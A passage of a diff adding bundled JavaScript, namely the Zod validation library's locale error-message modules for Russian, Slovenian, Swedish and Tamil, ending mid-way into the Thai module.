const lastDigit = absCount % 10; + const lastTwoDigits = absCount % 100; + if (lastTwoDigits >= 11 && lastTwoDigits <= 19) { + return many; + } + if (lastDigit === 1) { + return one; + } + if (lastDigit >= 2 && lastDigit <= 4) { + return few; + } + return many; +} +var error38 = () => { + const Sizable = { + string: { + unit: { + one: "\u0441\u0438\u043C\u0432\u043E\u043B", + few: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", + many: "\u0441\u0438\u043C\u0432\u043E\u043B\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" + }, + file: { + unit: { + one: "\u0431\u0430\u0439\u0442", + few: "\u0431\u0430\u0439\u0442\u0430", + many: "\u0431\u0430\u0439\u0442" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" + }, + array: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" + }, + set: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" + } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0432\u043E\u0434", + email: "email \u0430\u0434\u0440\u0435\u0441", + url: "URL", + emoji: "\u044D\u043C\u043E\u0434\u0437\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0434\u0430\u0442\u0430 \u0438 \u0432\u0440\u0435\u043C\u044F", + date: "ISO \u0434\u0430\u0442\u0430", + time: "ISO \u0432\u0440\u0435\u043C\u044F", + duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", + ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", + ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", + cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", + base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", + base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", + json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", + e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + jwt: "JWT", + template_literal: "\u0432\u0432\u043E\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0447\u0438\u0441\u043B\u043E", + array: "\u043C\u0430\u0441\u0441\u0438\u0432" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u041D\u0435\u0432\u0435\u0440\u043D\u044B\u0439 \u0432\u0432\u043E\u0434: \u043E\u0436\u0438\u0434\u0430\u043B\u043E\u0441\u044C instanceof ${issue2.expected}, \u043F\u043E\u043B\u0443\u0447\u0435\u043D\u043E ${received}`; + } + return `\u041D\u0435\u0432\u0435\u0440\u043D\u044B\u0439 \u0432\u0432\u043E\u0434: \u043E\u0436\u0438\u0434\u0430\u043B\u043E\u0441\u044C ${expected}, \u043F\u043E\u043B\u0443\u0447\u0435\u043D\u043E ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u041D\u0435\u0432\u0435\u0440\u043D\u044B\u0439 \u0432\u0432\u043E\u0434: \u043E\u0436\u0438\u0434\u0430\u043B\u043E\u0441\u044C ${stringifyPrimitive(issue2.values[0])}`; + return `\u041D\u0435\u0432\u0435\u0440\u043D\u044B\u0439 \u0432\u0430\u0440\u0438\u0430\u043D\u0442: \u043E\u0436\u0438\u0434\u0430\u043B\u043E\u0441\u044C \u043E\u0434\u043D\u043E \u0438\u0437 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + const maxValue = Number(issue2.maximum); + const unit = getRussianPlural(maxValue, sizing.unit.one, sizing.unit.few, sizing.unit.many); + return `\u0421\u043B\u0438\u0448\u043A\u043E\u043C \u0431\u043E\u043B\u044C\u0448\u043E\u0435 \u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435: \u043E\u0436\u0438\u0434\u0430\u043B\u043E\u0441\u044C, \u0447\u0442\u043E ${issue2.origin ?? "\u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435"} \u0431\u0443\u0434\u0435\u0442 \u0438\u043C\u0435\u0442\u044C ${adj}${issue2.maximum.toString()} ${unit}`; + } + return `\u0421\u043B\u0438\u0448\u043A\u043E\u043C \u0431\u043E\u043B\u044C\u0448\u043E\u0435 \u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435: \u043E\u0436\u0438\u0434\u0430\u043B\u043E\u0441\u044C, \u0447\u0442\u043E ${issue2.origin ?? "\u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435"} \u0431\u0443\u0434\u0435\u0442 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + const minValue = Number(issue2.minimum); + const unit = getRussianPlural(minValue, sizing.unit.one, sizing.unit.few, sizing.unit.many); + return `\u0421\u043B\u0438\u0448\u043A\u043E\u043C \u043C\u0430\u043B\u0435\u043D\u044C\u043A\u043E\u0435 \u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435: \u043E\u0436\u0438\u0434\u0430\u043B\u043E\u0441\u044C, \u0447\u0442\u043E ${issue2.origin} \u0431\u0443\u0434\u0435\u0442 \u0438\u043C\u0435\u0442\u044C ${adj}${issue2.minimum.toString()} ${unit}`; + } + return `\u0421\u043B\u0438\u0448\u043A\u043E\u043C \u043C\u0430\u043B\u0435\u043D\u044C\u043A\u043E\u0435 \u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435: \u043E\u0436\u0438\u0434\u0430\u043B\u043E\u0441\u044C, \u0447\u0442\u043E ${issue2.origin} \u0431\u0443\u0434\u0435\u0442 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u041D\u0435\u0432\u0435\u0440\u043D\u0430\u044F \u0441\u0442\u0440\u043E\u043A\u0430: \u0434\u043E\u043B\u0436\u043D\u0430 \u043D\u0430\u0447\u0438\u043D\u0430\u0442\u044C\u0441\u044F \u0441 "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `\u041D\u0435\u0432\u0435\u0440\u043D\u0430\u044F \u0441\u0442\u0440\u043E\u043A\u0430: \u0434\u043E\u043B\u0436\u043D\u0430 \u0437\u0430\u043A\u0430\u043D\u0447\u0438\u0432\u0430\u0442\u044C\u0441\u044F \u043D\u0430 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u041D\u0435\u0432\u0435\u0440\u043D\u0430\u044F \u0441\u0442\u0440\u043E\u043A\u0430: \u0434\u043E\u043B\u0436\u043D\u0430 \u0441\u043E\u0434\u0435\u0440\u0436\u0430\u0442\u044C "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u041D\u0435\u0432\u0435\u0440\u043D\u0430\u044F \u0441\u0442\u0440\u043E\u043A\u0430: \u0434\u043E\u043B\u0436\u043D\u0430 \u0441\u043E\u043E\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043E\u0432\u0430\u0442\u044C \u0448\u0430\u0431\u043B\u043E\u043D\u0443 ${_issue.pattern}`; + return `\u041D\u0435\u0432\u0435\u0440\u043D\u044B\u0439 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u041D\u0435\u0432\u0435\u0440\u043D\u043E\u0435 \u0447\u0438\u0441\u043B\u043E: \u0434\u043E\u043B\u0436\u043D\u043E \u0431\u044B\u0442\u044C \u043A\u0440\u0430\u0442\u043D\u044B\u043C ${issue2.divisor}`; + case "unrecognized_keys": + return `\u041D\u0435\u0440\u0430\u0441\u043F\u043E\u0437\u043D\u0430\u043D\u043D${issue2.keys.length > 1 ? "\u044B\u0435" : "\u044B\u0439"} \u043A\u043B\u044E\u0447${issue2.keys.length > 1 ? "\u0438" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041D\u0435\u0432\u0435\u0440\u043D\u044B\u0439 \u043A\u043B\u044E\u0447 \u0432 ${issue2.origin}`; + case "invalid_union": + return "\u041D\u0435\u0432\u0435\u0440\u043D\u044B\u0435 \u0432\u0445\u043E\u0434\u043D\u044B\u0435 \u0434\u0430\u043D\u043D\u044B\u0435"; + case "invalid_element": + return `\u041D\u0435\u0432\u0435\u0440\u043D\u043E\u0435 \u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435 \u0432 ${issue2.origin}`; + default: + return `\u041D\u0435\u0432\u0435\u0440\u043D\u044B\u0435 \u0432\u0445\u043E\u0434\u043D\u044B\u0435 \u0434\u0430\u043D\u043D\u044B\u0435`; + } + }; +}; +function ru_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js +var error39 = () => { + const Sizable = { + string: { unit: "znakov", verb: "imeti" }, + file: { unit: "bajtov", verb: "imeti" }, + array: { unit: "elementov", verb: "imeti" }, + set: { unit: "elementov", verb: "imeti" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "vnos", + email: "e-po\u0161tni naslov", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO datum in \u010Das", + date: "ISO datum", + time: "ISO \u010Das", + duration: "ISO trajanje", + ipv4: "IPv4 naslov", + ipv6: "IPv6 naslov", + cidrv4: "obseg IPv4", + cidrv6: "obseg IPv6", + base64: "base64 kodiran niz", + base64url: "base64url kodiran niz", + json_string: "JSON niz", + e164: "E.164 \u0161tevilka", + jwt: "JWT", + template_literal: "vnos" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0161tevilo", + array: "tabela" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neveljaven vnos: pri\u010Dakovano instanceof ${issue2.expected}, prejeto ${received}`; + } + return `Neveljaven vnos: pri\u010Dakovano ${expected}, prejeto ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neveljaven vnos: pri\u010Dakovano ${stringifyPrimitive(issue2.values[0])}`; + return `Neveljavna mo\u017Enost: pri\u010Dakovano eno izmed ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Preveliko: pri\u010Dakovano, da bo ${issue2.origin ?? "vrednost"} imelo ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementov"}`; + return `Preveliko: pri\u010Dakovano, da bo ${issue2.origin ?? "vrednost"} ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Premajhno: pri\u010Dakovano, da bo ${issue2.origin} imelo ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Premajhno: pri\u010Dakovano, da bo ${issue2.origin} ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `Neveljaven niz: mora se za\u010Deti z "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `Neveljaven niz: mora se kon\u010Dati z "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neveljaven niz: mora vsebovati "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neveljaven niz: mora ustrezati vzorcu ${_issue.pattern}`; + return `Neveljaven ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neveljavno \u0161tevilo: mora biti ve\u010Dkratnik ${issue2.divisor}`; + case "unrecognized_keys": + return `Neprepoznan${issue2.keys.length > 1 ? "i klju\u010Di" : " klju\u010D"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neveljaven klju\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neveljaven vnos"; + case "invalid_element": + return `Neveljavna vrednost v ${issue2.origin}`; + default: + return "Neveljaven vnos"; + } + }; +}; +function sl_default() { + return { + localeError: error39() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js +var error40 = () => { + const Sizable = { + string: { unit: "tecken", verb: "att ha" }, + file: { unit: "bytes", verb: "att ha" }, + array: { unit: "objekt", verb: "att inneh\xE5lla" }, + set: { unit: "objekt", verb: "att inneh\xE5lla" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regulj\xE4rt uttryck", + email: "e-postadress", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO-datum och tid", + date: "ISO-datum", + time: "ISO-tid", + duration: "ISO-varaktighet", + ipv4: "IPv4-intervall", + ipv6: "IPv6-intervall", + cidrv4: "IPv4-spektrum", + cidrv6: "IPv6-spektrum", + base64: "base64-kodad str\xE4ng", + base64url: "base64url-kodad str\xE4ng", + json_string: "JSON-str\xE4ng", + e164: "E.164-nummer", + jwt: "JWT", + template_literal: "mall-literal" + }; + const TypeDictionary = { + nan: "NaN", + number: "antal", + array: "lista" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ogiltig inmatning: f\xF6rv\xE4ntat instanceof ${issue2.expected}, fick ${received}`; + } + return `Ogiltig inmatning: f\xF6rv\xE4ntat ${expected}, fick ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ogiltig inmatning: f\xF6rv\xE4ntat ${stringifyPrimitive(issue2.values[0])}`; + return `Ogiltigt val: f\xF6rv\xE4ntade en av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `F\xF6r stor(t): f\xF6rv\xE4ntade ${issue2.origin ?? "v\xE4rdet"} att ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + } + return `F\xF6r stor(t): f\xF6rv\xE4ntat ${issue2.origin ?? "v\xE4rdet"} att ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `F\xF6r lite(t): f\xF6rv\xE4ntade ${issue2.origin ?? "v\xE4rdet"} att ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `F\xF6r lite(t): f\xF6rv\xE4ntade ${issue2.origin ?? "v\xE4rdet"} att ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `Ogiltig str\xE4ng: m\xE5ste b\xF6rja med "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `Ogiltig str\xE4ng: m\xE5ste sluta med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ogiltig str\xE4ng: m\xE5ste inneh\xE5lla "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ogiltig str\xE4ng: m\xE5ste matcha m\xF6nstret "${_issue.pattern}"`; + return `Ogiltig(t) ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ogiltigt tal: m\xE5ste vara en multipel av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ok\xE4nda nycklar" : "Ok\xE4nd nyckel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ogiltig nyckel i ${issue2.origin ?? "v\xE4rdet"}`; + case "invalid_union": + return "Ogiltig input"; + case "invalid_element": + return `Ogiltigt v\xE4rde i ${issue2.origin ?? "v\xE4rdet"}`; + default: + return `Ogiltig input`; + } + }; +}; +function sv_default() { + return { + localeError: error40() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js +var error41 = () => { + const Sizable = { + string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0B89\u0BB3\u0BCD\u0BB3\u0BC0\u0B9F\u0BC1", + email: "\u0BAE\u0BBF\u0BA9\u0BCD\u0BA9\u0B9E\u0BCD\u0B9A\u0BB2\u0BCD \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0BA4\u0BC7\u0BA4\u0BBF \u0BA8\u0BC7\u0BB0\u0BAE\u0BCD", + date: "ISO \u0BA4\u0BC7\u0BA4\u0BBF", + time: "ISO \u0BA8\u0BC7\u0BB0\u0BAE\u0BCD", + duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", + ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", + cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", + base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", + base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", + json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", + e164: "E.164 \u0B8E\u0BA3\u0BCD", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0B8E\u0BA3\u0BCD", + array: "\u0B85\u0BA3\u0BBF", + null: "\u0BB5\u0BC6\u0BB1\u0BC1\u0BAE\u0BC8" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B89\u0BB3\u0BCD\u0BB3\u0BC0\u0B9F\u0BC1: \u0B8E\u0BA4\u0BBF\u0BB0\u0BCD\u0BAA\u0BBE\u0BB0\u0BCD\u0B95\u0BCD\u0B95\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 instanceof ${issue2.expected}, \u0BAA\u0BC6\u0BB1\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 ${received}`; + } + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B89\u0BB3\u0BCD\u0BB3\u0BC0\u0B9F\u0BC1: \u0B8E\u0BA4\u0BBF\u0BB0\u0BCD\u0BAA\u0BBE\u0BB0\u0BCD\u0B95\u0BCD\u0B95\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 ${expected}, \u0BAA\u0BC6\u0BB1\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B89\u0BB3\u0BCD\u0BB3\u0BC0\u0B9F\u0BC1: \u0B8E\u0BA4\u0BBF\u0BB0\u0BCD\u0BAA\u0BBE\u0BB0\u0BCD\u0B95\u0BCD\u0B95\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0BB5\u0BBF\u0BB0\u0BC1\u0BAA\u0BCD\u0BAA\u0BAE\u0BCD: \u0B8E\u0BA4\u0BBF\u0BB0\u0BCD\u0BAA\u0BBE\u0BB0\u0BCD\u0B95\u0BCD\u0B95\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 ${joinValues(issue2.values, "|")} \u0B87\u0BB2\u0BCD \u0B92\u0BA9\u0BCD\u0BB1\u0BC1`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0BAE\u0BBF\u0B95 \u0BAA\u0BC6\u0BB0\u0BBF\u0BAF\u0BA4\u0BC1: \u0B8E\u0BA4\u0BBF\u0BB0\u0BCD\u0BAA\u0BBE\u0BB0\u0BCD\u0B95\u0BCD\u0B95\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 ${issue2.origin ?? "\u0BAE\u0BA4\u0BBF\u0BAA\u0BCD\u0BAA\u0BC1"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD"} \u0B86\u0B95 \u0B87\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD`; + } + return `\u0BAE\u0BBF\u0B95 \u0BAA\u0BC6\u0BB0\u0BBF\u0BAF\u0BA4\u0BC1: \u0B8E\u0BA4\u0BBF\u0BB0\u0BCD\u0BAA\u0BBE\u0BB0\u0BCD\u0B95\u0BCD\u0B95\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 ${issue2.origin ?? "\u0BAE\u0BA4\u0BBF\u0BAA\u0BCD\u0BAA\u0BC1"} ${adj}${issue2.maximum.toString()} \u0B86\u0B95 \u0B87\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0BAE\u0BBF\u0B95\u0B9A\u0BCD \u0B9A\u0BBF\u0BB1\u0BBF\u0BAF\u0BA4\u0BC1: \u0B8E\u0BA4\u0BBF\u0BB0\u0BCD\u0BAA\u0BBE\u0BB0\u0BCD\u0B95\u0BCD\u0B95\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0B86\u0B95 \u0B87\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD`; + } + return `\u0BAE\u0BBF\u0B95\u0B9A\u0BCD \u0B9A\u0BBF\u0BB1\u0BBF\u0BAF\u0BA4\u0BC1: \u0B8E\u0BA4\u0BBF\u0BB0\u0BCD\u0BAA\u0BBE\u0BB0\u0BCD\u0B95\u0BCD\u0B95\u0BAA\u0BCD\u0BAA\u0B9F\u0BCD\u0B9F\u0BA4\u0BC1 ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0B86\u0B95 \u0B87\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B9A\u0BB0\u0BAE\u0BCD: "${_issue.prefix}" \u0B87\u0BB2\u0BCD \u0BA4\u0BCA\u0B9F\u0B99\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD`; + if (_issue.format === "ends_with") + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B9A\u0BB0\u0BAE\u0BCD: "${_issue.suffix}" \u0B87\u0BB2\u0BCD \u0BAE\u0BC1\u0B9F\u0BBF\u0BB5\u0B9F\u0BC8\u0BAF \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD`; + if (_issue.format === "includes") + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B9A\u0BB0\u0BAE\u0BCD: "${_issue.includes}" \u0B90 \u0B89\u0BB3\u0BCD\u0BB3\u0B9F\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD`; + if (_issue.format === "regex") + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B9A\u0BB0\u0BAE\u0BCD: ${_issue.pattern} \u0BAE\u0BC1\u0BB1\u0BC8\u0BAA\u0BBE\u0B9F\u0BCD\u0B9F\u0BC1\u0B9F\u0BA9\u0BCD \u0BAA\u0BCA\u0BB0\u0BC1\u0BA8\u0BCD\u0BA4 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD`; + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B8E\u0BA3\u0BCD: ${issue2.divisor} \u0B87\u0BA9\u0BCD \u0BAA\u0BB2\u0BAE\u0BBE\u0B95 \u0B87\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD`; + case "unrecognized_keys": + return `\u0B85\u0B9F\u0BC8\u0BAF\u0BBE\u0BB3\u0BAE\u0BCD \u0BA4\u0BC6\u0BB0\u0BBF\u0BAF\u0BBE\u0BA4 \u0BB5\u0BBF\u0B9A\u0BC8${issue2.keys.length > 1 ? "\u0B95\u0BB3\u0BCD" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0B87\u0BB2\u0BCD \u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0BB5\u0BBF\u0B9A\u0BC8`; + case "invalid_union": + return "\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B89\u0BB3\u0BCD\u0BB3\u0BC0\u0B9F\u0BC1"; + case "invalid_element": + return `${issue2.origin} \u0B87\u0BB2\u0BCD \u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0BAE\u0BA4\u0BBF\u0BAA\u0BCD\u0BAA\u0BC1`; + default: + return `\u0BA4\u0BB5\u0BB1\u0BBE\u0BA9 \u0B89\u0BB3\u0BCD\u0BB3\u0BC0\u0B9F\u0BC1`; + } + }; +}; +function ta_default() { + return { + localeError: error41() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js +var error42 = () => { + const Sizable = { + 